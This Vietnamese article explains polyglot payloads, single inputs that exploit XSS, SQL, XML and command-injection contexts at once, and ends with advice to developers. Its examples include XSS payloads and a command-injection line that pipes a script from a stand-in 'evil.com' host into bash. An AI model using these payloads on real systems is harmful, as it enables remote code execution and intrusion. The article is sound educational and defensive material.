Tấn công một lần, trúng nhiều đích: Polyglot Payloads và nghệ thuật khai thác đa lớp

[Sevastopol]

Polyglot Payload là một đoạn mã có thể thực thi hợp lệ trong nhiều ngữ cảnh khác nhau của một ứng dụng, chẳng hạn như HTML, JavaScript, SQL, XML hoặc dòng lệnh (command-line). Nói cách khác, cùng một chuỗi input có thể được xử lý theo nhiều cách khác nhau tùy vào ngữ cảnh và nếu được sử dụng đúng cách, nó có thể khai thác nhiều loại lỗ hổng bảo mật chỉ trong một lần thử.

Các polyglot payload được sử dụng phổ biến bởi những chuyên gia kiểm thử bảo mật (penetration testers) và kẻ tấn công, bởi vì chúng có thể tự động dò tìm điểm yếu ở nhiều tầng xử lý khác nhau, đồng thời ít nhiễu hơn so với các phương pháp brute-force truyền thống.

Ảnh: Palo Alto Networks​

Vì sao Polyglot Payload nguy hiểm?​

Polyglot Payload có thể tạo ra rủi ro bảo mật lớn vì:

• Gây nhầm lẫn cho parser: Payload được viết để tận dụng cách mà nhiều thành phần của hệ thống phân tích cú pháp (parsers) xử lý dữ liệu đầu vào khác nhau.​
• Khai thác nhiều lỗ hổng trong một cú đánh: Một đoạn mã duy nhất có thể cùng lúc thử khai thác XSS, SQLi, command injection, hoặc XML injection... tùy thuộc vào nơi nó xuất hiện trong luồng xử lý.​
• Bypass hệ thống lọc/phòng thủ (WAF): Do tính linh hoạt và ngữ cảnh đa dạng, nhiều Polyglot có thể vượt qua Web Application Firewall mà các payload đơn mục đích không thể.​
• Phù hợp cho các kỹ thuật tấn công chuỗi (chained exploits): Polyglot giúp phát hiện lỗ hổng ở nhiều lớp logic trong ứng dụng.​

Ví dụ Polyglot Payload thực tế​

Payload:

"><svg/onload=alert(1)><!--​

Ngữ cảnh khai thác:

• HTML: Kích hoạt XSS khi được chèn vào nội dung trang.​
• HTML Attribute: Thoát khỏi thuộc tính value="" để tiêm mã độc.​
• HTML Comment: Một số hệ thống lọc chỉ loại bỏ comment mà không xóa hết nội dung độc hại, giúp payload này "sống sót".​

Tình huống mô phỏng: Giả sử ứng dụng có đoạn mã sau, chèn trực tiếp input người dùng vào HTML:

<input value="userinput">​

Nếu kẻ tấn công đưa vào payload trên, kết quả hiển thị sẽ trở thành:

<input value=""><svg/onload=alert(1)><!--">​

Điều này làm ngắt cấu trúc HTML ban đầu và thực thi đoạn mã JavaScript nguy hiểm chính là lỗi Cross-Site Scripting (XSS).

Ví dụ Polyglot nâng cao: Command Injection​

; curl http://evil.com/shell.sh | bash #​

Payload này có thể được sử dụng trong tình huống nhập tên file hoặc các giá trị metadata, nơi đầu vào của người dùng được xử lý không an toàn và chuyển trực tiếp vào câu lệnh hệ thống. Khi đó, hệ thống có thể bị chiếm quyền điều khiển hoặc thực thi mã độc từ xa (RCE).

Một số dạng Polyglot Payload phổ biến để bạn tham khảo​

Ngữ cảnh kết hợp​	Payload ví dụ​	Lỗ hổng khai thác​
HTML + JavaScript​	<svg/onload=alert(1)>​	Cross-Site Scripting (XSS)​
SQL + JavaScript​	1';alert(1)//​	SQL Injection + XSS​
Command + URL​	;wget evil.com​	Remote Code Execution (Command Injection)​
XML + HTML​	<![CDATA[</script><svg/onload=alert(1)>]]>​	XML External Entity (XXE) + XSS​
CSS + HTML​	body{background:url(javascript:alert(1))}​	CSS Injection​

Công cụ hỗ trợ tạo và kiểm thử Polyglot​

Để xây dựng và kiểm tra các Polyglot Payload một cách hiệu quả, bạn có thể sử dụng:

• Hackvertor: Chuyển đổi payload sang nhiều định dạng phức tạp hoặc mã hóa lách lọc.​
• Burp Suite + Hackvertor Plugin: Công cụ phổ biến cho pentester để kiểm tra đầu vào và output của ứng dụng.​
• PayloadAllTheThings: Một thư viện mở tổng hợp rất nhiều dạng payload khai thác, bao gồm Polyglot.​
• Custom Fuzzer hoặc Regex Bypassers: Tạo biến thể payload khó phát hiện bởi các bộ lọc truyền thống.​

Lưu ý cho nhà phát triển​

Để giảm thiểu rủi ro do Polyglot Payload gây ra, các nhà phát triển cần:

1. Mã hóa đầu vào theo ngữ cảnh sử dụng (context-aware encoding), không sử dụng encode một cách chung chung.​
2. Không tin tưởng bất kỳ dữ liệu nào từ người dùng, kể cả trong tên file, metadata, hay chuỗi query.​
3. Lọc và làm sạch (sanitize) dữ liệu dựa trên ngữ cảnh, ví dụ: encode HTML nếu chèn vào trang, escape SQL nếu dùng cho truy vấn cơ sở dữ liệu.​
4. Tránh sử dụng các hàm nguy hiểm như eval(), exec(), innerHTML hoặc các hàm thực thi động khác.​

Khi chỉ một đoạn Polyglot Payload có thể vượt qua nhiều lớp kiểm soát, bạn đã thực sự hiểu hệ thống của mình xử lý đầu vào như thế nào chưa?